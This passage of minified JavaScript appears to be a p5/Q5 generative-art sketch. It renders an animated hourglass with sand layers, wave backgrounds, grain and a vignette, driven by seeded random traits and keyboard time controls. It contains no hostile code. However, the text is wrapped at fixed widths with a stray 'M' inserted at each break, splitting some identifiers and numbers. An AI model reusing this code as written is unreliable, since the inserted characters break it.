ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
